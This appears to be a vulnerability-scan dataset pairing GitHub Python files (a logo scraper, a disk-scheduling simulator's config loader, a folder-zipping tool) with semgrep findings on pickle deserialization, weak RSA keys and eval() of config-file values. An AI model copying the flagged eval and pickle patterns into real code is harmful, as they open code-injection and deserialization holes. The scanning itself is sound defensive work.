"confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.pycryptodome.security.insufficient-rsa-key-size_b037bf6385f21e80_f3b79a42", "tool_name": "semgrep", "rule_id": "rules.python.pycryptodome.security.insufficient-rsa-key-size", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher.", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 8, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-326: Inadequate Encryption Strength", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://www.pycryptodome.org/src/public_key/rsa#rsa", "title": null}, {"url": "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.pycryptodome.security.insufficient-rsa-key-size", "path": "/tmp/tmp10dxl77l/b037bf6385f21e80.py", "start": {"line": 55, "col": 8, "offset": 1134}, "end": {"line": 55, "col": 26, "offset": 1152}, "extra": {"message": "Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher.", "metadata": {"cwe": ["CWE-326: Inadequate Encryption Strength"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "source-rule-url": "https://github.com/PyCQA/bandit/blob/b1411bfb43795d3ffd268bef17a839dee954c2b1/bandit/plugins/weak_cryptographic_key.py", "references": ["https://www.pycryptodome.org/src/public_key/rsa#rsa", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf"], "category": "security", "technology": ["pycryptodome"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "HIGH", "functional-categories": ["crypto::search::key-length::pycryptodome", "crypto::search::key-length::pycryptodomex"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 34, 38 ]
[ 34, 38 ]
[ 9, 9 ]
[ 30, 34 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
isolated_functions.py
/isolated_functions.py
wonabru/chainnet
MIT
2024-11-18T21:22:12.567297+00:00
1,502,116,350,000
501eaaae43948da13e29e1cadbb995eb7646c032
3
{ "blob_id": "501eaaae43948da13e29e1cadbb995eb7646c032", "branch_name": "refs/heads/master", "committer_date": 1502116350000, "content_id": "d90751a925c27b47402b9c58addc423e5fe942cf", "detected_licenses": [ "MIT" ], "directory_id": "5aa163df7bdcdb2c7d2cbe8e5c44f68e9b9389d1", "extension": "py", "filename": "precompute_logo_links.py", "fork_events_count": 0, "gha_created_at": 1490466893000, "gha_event_created_at": 1499433509000, "gha_language": "Python", "gha_license_id": null, "github_id": 86179887, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1061, "license": "MIT", "license_type": "permissive", "path": "/python/swagbag/precompute_logo_links.py", "provenance": "stack-edu-0054.json.gz:587911", "repo_name": "slizb/swag-bag", "revision_date": 1502116350000, "revision_id": "5a688391ba5278d1e9d42db031bb3f72a6591363", "snapshot_id": "a7bbbe3a84010d207aec5960a8fc24c4755c11f0", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/slizb/swag-bag/5a688391ba5278d1e9d42db031bb3f72a6591363/python/swagbag/precompute_logo_links.py", "visit_date": "2021-01-23T04:14:39.627115" }
2.796875
stackv2
from bs4 import BeautifulSoup import requests import pickle import numpy as np df = pickle.load(open("../data/team_color_frame.pkl", "rb")) df['logo_url'] = np.nan leagues = df.league.unique() def teams_in_league(league): return df.name[df.league == league] def extract_logo_link_from_page(url): request = requests.get(url) soup = BeautifulSoup(request.text, "html.parser") logo_link = soup.find_all('iframe')[0].get('src') return logo_link for league in leagues: for team in teams_in_league(league): collapsed_team = team.lower().replace(' ', '-') url_prefix = "https://github.com/jimniels/teamcolors/blob/master/static/img/" git_url = url_prefix + league + "/" + collapsed_team + ".svg" raw_url = extract_logo_link_from_page(git_url) row_index = df[df.name == team].index df = df.set_value(index=row_index, col='logo_url', value=raw_url) print(league, team, ":", raw_url) df.to_pickle('../data/team_color_frame.pkl')
36
28.47
85
12
247
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_c2d2801409259ccf_f2889a16", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 6, "line_end": 6, "column_start": 6, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/c2d2801409259ccf.py", "start": {"line": 6, "col": 6, "offset": 85}, "end": {"line": 6, "col": 61, "offset": 140}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_c2d2801409259ccf_9144730b", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 15, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/c2d2801409259ccf.py", "start": {"line": 17, "col": 15, "offset": 320}, "end": {"line": 17, "col": 32, "offset": 337}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_c2d2801409259ccf_a12da209", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url, timeout=30)", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 15, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/c2d2801409259ccf.py", "start": {"line": 17, "col": 15, "offset": 320}, "end": {"line": 17, "col": 32, "offset": 337}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 6 ]
[ 6 ]
[ 6 ]
[ 61 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
precompute_logo_links.py
/python/swagbag/precompute_logo_links.py
slizb/swag-bag
MIT
2024-11-18T21:22:14.519085+00:00
1,550,281,419,000
61de99725ff5fa795453941baf3248122658f3fb
3
{ "blob_id": "61de99725ff5fa795453941baf3248122658f3fb", "branch_name": "refs/heads/master", "committer_date": 1550281419000, "content_id": "bdb245c278239705d0646403d3682ca979257c06", "detected_licenses": [ "MIT" ], "directory_id": "aadc4179d27774e66da1bd9a5a8c1ca260c64ca6", "extension": "py", "filename": "data.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 170949014, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4945, "license": "MIT", "license_type": "permissive", "path": "/simulador/data.py", "provenance": "stack-edu-0054.json.gz:587933", "repo_name": "dantebarba/disk-scheduling-simulator", "revision_date": 1550281419000, "revision_id": "566a07f1f23bc0a74bbbb51607de98b247ad563f", "snapshot_id": "944665e674af528a30efd3b8218b6436ceca6c30", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/dantebarba/disk-scheduling-simulator/566a07f1f23bc0a74bbbb51607de98b247ad563f/simulador/data.py", "visit_date": "2020-04-23T05:44:08.461174" }
3.109375
stackv2
''' Created on 13/06/2013 @author: DANTE ''' ''' Clases estaticas con metodos de clase utilizadas para adecuar datos a un formato especifico. La clase DataFormat contiene metodos que validan el formato de un dato. la clase Options contiene todo lo referido a la carga de las opciones del programa. La clase Lang tiene todo lo referido al manejo del lenguaje de la interfaz. @author BarbaDante ''' import sys class DataFormat: 'Data format class, contains data validation class methods' @classmethod def list_format(cls, data_list, limit): '''Evaluates a "data_list". Returns True if it fits with the simulator data format''' if data_list: eval_list = data_list.split(',') for item in eval_list: if not(item.isdigit()): if not(item.startswith('pf')): return False break elif not(item[2:].isdigit()) or ( (int(item[2:]) > limit) or (int(item[2:]) < 0)): return False break elif int(item) > limit or int(item) < 0: return False return True else: return False @classmethod def relative_position(cls, coorX, coorY, rel1, rel2): 'Calculates percent of coordinates' return coorX * rel1, coorY * rel2 @classmethod def calc_difference(cls, *args): 'returns a sumatory of the difference on list items' ant = args[0] acum = 0 for i in args: acum += abs((ant - i)) ant = i return acum class Config: options = {'disk_size': 512, 'display_size': (640, 480), 'speed': 1, 'plotter': 1, 'lang': 'eng', 'ratio': 0.85, 'separator': 2} version = '1.01' sys.stderr = open('error_log.txt', 'w') @classmethod def load_config(cls): # TODO: No hay una forma de saber si un modulo existe o no? ok = True OPTIONS = Config.options # importamos las opciones predet try: config = open('config.ini', 'r') except IOError as err: ok = False sys.stderr.write('Configuration file not found: ' + str(err)) print 'Creating new default configuration file' else: cont = 0 # leemos archivo de configuracion for line in config: cont += 1 # contador auxiliar # cantidad de lineas de config debe ser igual a las opciones # de config por defecto, sino hay un error de formato for i in OPTIONS.keys(): if line.startswith(i): # buscamos la clave k #para la opcion k try: option = line.split(':') try: Config.options[option[0]] = eval(option[1][:-1]) # pasamos el valor leido a la config actual # TODO: Es mejor usar string para todo no? except NameError: Config.options[option[0]] = (option[1][:-1]) except KeyError as err: print 'Error: Unable to load ' + i, err ok = False if cont != len(OPTIONS.keys()): ok = False config.close() if not(ok): # cargamos las opciones default f = open('config.ini', 'w') for i in OPTIONS.keys(): f.write(i + ':' + str(OPTIONS[i]) + '\n') f.close() try: import matplotlib OPTIONS['plotter'] = 1 except ImportError: OPTIONS['plotter'] = 0 class Lang: active_lang = '' @classmethod def load_lang(cls): div = '#' try: f = open('lang/' + Config.options['lang'] + '.lang', 'r') if Config.options['lang'] == 'eng': eng_dict = dict((line.split(div)[0], line.split(div)[1][:-1]) for line in f) lang = {'eng': eng_dict} else: esp_dict = dict((line.split(div)[0], line.split(div)[1][:-1]) for line in f) lang = {'esp': esp_dict} active_lang = lang[Config.options['lang']] f.close() except (IOError, EOFError) as err: sys.stderr.write('Error while loading language pack: ' + str(err)) print 'Language pack not found' sys.exit(1) else: return active_lang
137
34.09
80
27
1,067
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_9c9c7281c7d5e208_a10ec0c1", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 31, "column_start": 25, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 30, "col": 25, "offset": 874}, "end": {"line": 31, "col": 30, "offset": 916}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_9c9c7281c7d5e208_ca86a205", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 35, "column_start": 25, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 34, "col": 25, "offset": 1069}, "end": {"line": 35, "col": 30, "offset": 1111}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_9c9c7281c7d5e208_e8fa2241", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 63, "line_end": 63, "column_start": 5, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 63, "col": 5, "offset": 1884}, "end": {"line": 63, "col": 44, "offset": 1923}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_9c9c7281c7d5e208_46244bbc", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 63, "line_end": 63, "column_start": 18, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 63, "col": 18, "offset": 1897}, "end": {"line": 63, "col": 44, "offset": 1923}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_9c9c7281c7d5e208_473b9b19", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 72, "line_end": 72, "column_start": 13, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 72, "col": 13, "offset": 2155}, "end": {"line": 72, "col": 45, "offset": 2187}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_9c9c7281c7d5e208_80a65474", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 72, "line_end": 72, "column_start": 22, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 72, "col": 22, "offset": 2164}, "end": {"line": 72, "col": 45, "offset": 2187}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_9c9c7281c7d5e208_ea96fb7c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 90, "line_end": 90, "column_start": 61, "column_end": 81, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 90, "col": 61, "offset": 3007}, "end": {"line": 90, "col": 81, "offset": 3027}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_9c9c7281c7d5e208_3d89f2bc", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 103, "line_end": 103, "column_start": 17, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 103, "col": 17, "offset": 3636}, "end": {"line": 103, "col": 40, "offset": 3659}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_9c9c7281c7d5e208_0f69cbeb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 121, "line_end": 121, "column_start": 17, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/9c9c7281c7d5e208.py", "start": {"line": 121, "col": 17, "offset": 4042}, "end": {"line": 121, "col": 70, "offset": 4095}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
9
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 90 ]
[ 90 ]
[ 61 ]
[ 81 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
data.py
/simulador/data.py
dantebarba/disk-scheduling-simulator
MIT
2024-11-18T21:22:22.694972+00:00
1,626,096,995,000
5ed203c624e934e7dd2accce2dfb68fb7111c2b0
3
{ "blob_id": "5ed203c624e934e7dd2accce2dfb68fb7111c2b0", "branch_name": "refs/heads/master", "committer_date": 1626104353000, "content_id": "2b2a9c949db35c6570b280b9e8da2690a42ac50f", "detected_licenses": [ "MIT" ], "directory_id": "f647b19838c0986bb0411a5852dc1dd7eeb3ec85", "extension": "py", "filename": "zipind_core.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12400, "license": "MIT", "license_type": "permissive", "path": "/zipind_core.py", "provenance": "stack-edu-0054.json.gz:587968", "repo_name": "maraes/zipind", "revision_date": 1626096995000, "revision_id": "26dc26e9e403d62dbde34c724e27b456c6187f0e", "snapshot_id": "9c7acb2b8fb746949d9dde7d95f9b17c02c21cd9", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/maraes/zipind/26dc26e9e403d62dbde34c724e27b456c6187f0e/zipind_core.py", "visit_date": "2023-06-16T00:25:45.939269" }
3.015625
stackv2
""" Create by: apenasrr Source: https://github.com/apenasrr/zipind Compresses a folder into independent parts. Works in hybrid mode: -Compact folder dividing into independent parts, grouping your files in alphanumeric order. -Respects the ordering of folders and files. -Respects the internal structure of folders -If any file is larger than the defined maximum size, the specific file is partitioned in dependent mode. Do you wish to buy a coffee to say thanks? LBC (from LBRY) digital Wallet > bFmGgebff4kRfo5pXUTZrhAL3zW2GXwJSX We recommend: mises.org - Educate yourself about economic and political freedom lbry.tv - Store files and videos on blockchain ensuring free speech https://www.activism.net/cypherpunk/manifesto.html - How encryption is essential to Free Speech and Privacy """ import subprocess import os import natsort import pandas as pd import sys from zipind_utils import (normalize_string_to_link, get_folder_name_normalized, save_txt) def constant_store_expansion(): """ when packaging files and splitting them, the total package volume increases by 4096 bytes """ return 4096 def extension_to_ignore(file, ignore_extensions): """check if file need to be ignored Args: file (str): file_path or file_name ignore_extensions (list): Extensions to ignore Returns: bol: True to ignore. False to not ignore. """ file_lower = file.lower() if len(ignore_extensions) == 0: return False elif file_lower.endswith(tuple(ignore_extensions)): return True else: return False def df_sort_human(df, column_name): """ Sort files and folders in human way. So after folder/file '1' comes '2', instead of '10' and '11'. Simple yet flexible natural sorting in Python. When you try to sort a list of strings that contain numbers, the normal python sort algorithm sorts lexicographically, so you might not get the results that you expect: More info: https://github.com/SethMMorton/natsort :input: DataFrame. With columns 